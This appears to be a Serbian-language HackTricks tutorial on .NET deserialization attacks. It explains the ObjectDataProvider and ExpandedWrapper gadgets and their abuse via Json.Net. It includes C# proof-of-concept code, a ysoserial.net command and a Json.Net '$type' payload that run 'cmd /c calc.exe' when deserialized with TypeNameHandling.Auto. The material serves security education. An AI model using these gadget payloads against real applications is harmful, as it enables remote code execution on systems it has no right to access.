10 KiB
Osnovna .Net deserijalizacija (gadget ObjectDataProvider, ExpandedWrapper i Json.Net)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? Ili želite pristup najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu? Proverite PLANOVE ZA PRIJAVU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi](https://discord.gg/hRep4RUj7f) ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova hacktricks repozitorijumu i hacktricks-cloud repozitorijumu.
Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider eksploatiše radi dobijanja RCE-a i kako se biblioteke za serijalizaciju Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.
Gadget ObjectDataProvider
Iz dokumentacije: klasa ObjectDataProvider omotava i kreira objekat koji možete koristiti kao izvor povezivanja.
Da, to je čudno objašnjenje, pa da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava da omotate proizvoljni objekat, koristite MethodParameters da postavite proizvolne parametre, a zatim koristite MethodName da pozovete proizvoljnu funkciju proizvoljnog objekta deklarisanog koristeći proizvolne parametre.
Stoga, proizvoljni objekat će izvršiti funkciju sa parametrima dok se deserijalizuje.
Kako je ovo moguće
Prostor imena System.Windows.Data, koji se nalazi unutar PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, je gde je definisan i implementiran ObjectDataProvider.
Korišćenjem dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Naziv metode
Kao što možete primetiti, kada se postavi MethodName
poziva se base.Refresh()
, hajde da vidimo šta ona radi:
Ok, nastavimo da vidimo šta radi this.BeginQuery()
. BeginQuery
je preklopljen od strane ObjectDataProvider
i ovo je šta on radi:
Primetite da na kraju koda poziva this.QueryWorke(null)
. Hajde da vidimo šta ta funkcija izvršava:
Primetite da ovo nije kompletan kod funkcije QueryWorker
ali pokazuje interesantan deo: Kod poziva this.InvokeMethodOnInstance(out ex);
ovo je linija gde se poziva postavljena metoda.
Ako želite da proverite da li će se izvršiti samo postavljanjem MethodName**, možete pokrenuti ovaj kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Napomena da morate dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako biste učitali System.Windows.Data
ExpandedWrapper
Korišćenjem prethodnog eksploata postojiće slučajevi kada će se objekat deserijalizovati kao instanca ObjectDataProvider (na primer u DotNetNuke ranjivosti, korišćenjem XmlSerializer-a, objekat je deserijalizovan korišćenjem GetType
). Tada, nećemo imati znanje o tipu objekta koji je zapakovan u instanci ObjectDataProvider (Process
na primer). Više informacija o DotNetNuke ranjivosti možete pronaći ovde.
Ova klasa omogućava da se specifikuju tipovi objekata koji su zapakovani u datoj instanci. Dakle, ova klasa može biti korišćena da zapakuje izvorni objekat (ObjectDataProvider) u novi tip objekta i obezbedi potrebne osobine (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao što je prethodno prikazani, jer ćemo biti u mogućnosti da zapakujemo _ObjectDataProvider** unutar **ExpandedWrapper _ instance i prilikom deserijalizacije ova klasa će kreirati objekat OjectDataProvider koji će izvršiti funkciju naznačenu u MethodName.
Možete proveriti ovaj omotač pomoću sledećeg koda:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na zvaničnoj web stranici naznačeno je da ova biblioteka omogućava Serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću snažnog JSON serializer-a Json.NET. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gedžet, mogli bismo izazvati RCE samo deserijalizovanjem objekta.
Primer Json.Net
Prvo da vidimo primer kako serijalizovati/deserijalizovati objekat koristeći ovu biblioteku:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Zloupotreba Json.Net
Koristeći ysoserial.net kreirao sam eksploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
U ovom kodu možete testirati eksploit, jednostavno ga pokrenite i videćete da je kalkulator izvršen:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite svoju kompaniju reklamiranu na HackTricks? ili želite pristupiti najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu? Proverite PLANOVE ZA PRETPLATU!
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova u hacktricks repozitorijum i hacktricks-cloud repozitorijum.